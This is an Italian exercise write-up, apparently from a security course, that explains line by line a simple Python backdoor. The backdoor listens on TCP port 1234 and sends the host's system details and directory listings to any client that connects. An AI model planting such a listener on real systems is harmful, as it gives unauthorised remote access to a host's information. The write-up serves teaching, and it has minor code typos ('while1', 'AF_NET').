Esercitazione 14/12/2023

Per **BACKDOOR** ci si riferisce ad una via di accesso nascosta o non autorizzata a un sistema informatico; possono essere create e utilizzate per scopi legittimi, come il recupero di accesso a un sistema in caso di perdita delle credenziali, o per scopi malevoli, come l'accesso non autorizzato o il controllo remoto di un sistema.

Questa è la prima parte del codice, andiamo ad analizzarla:

- **import socket, platform, os** → con la prima riga si richiamano i moduli necessari per lavorare con un socket e ottenere informazioni per interagire con un client tramite connessione TCP (S.O., architettura...);
- **SRV_ADDR = ""** → questa variabile contiene l'indirizzo IP (qui vuota);
- **SRV_PORT = 1234** → questa invece si riferisce al numero della porta attraverso cui la backdoor sarà in ascolto;
- **s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)** → così si crea una socket TCP (il primo parametro, AF_NET si riferisce all'indirizzo IP, mentre il secondo SOCK_STREAM, specifica il tipo di socket);
- **s.bind((SRV_ADDR, SRV_PORT))** → associa il socket alla porta;
- **s.listen(1)** → mette la socket in "ascolto";
- **connection, address = s.accept()** → la connessione viene accettata;
- **print("client connnected: ", address)** → stampa un messaggio con l'indirizzo del client;
- **while1** → il loop infinito per gestire la comunicazione con il client;
- **try:**

    data = connection.recv(1024)

except: continue → con cui viene tentata la ricezione dei dati inviati dal client. Se non ci sono dati o se si verifica un'eccezione, il loop continua.

Il server decodifica i dati ricevuti dal client attraverso la connessione stabilita e risponde in base al comando ricevuto:

```
if data.decode('utf-8') == '1':
    tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
```

Con il comando '1', il server risponde inviando al client una stringa che rappresenta il sistema operativo e l'architettura della macchina. Queste informazioni sono ottenute utilizzando il modulo **platform**;

```
elif data.decode('utf-8') == '2':
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ",".join(filelist)
    except:
        tosend = "Wrong path"
    connection.sendall(tosend.encode())
```

Con il il comando '2', il server elenca i file nella directory specificata e invia l'elenco al client. Se il percorso fornito dal client non è valido, viene inviato un messaggio **"Wrong path".**

```
elif data.decode('utf-8') == '0':
    connection.close()
    connection, address = s.accept()
```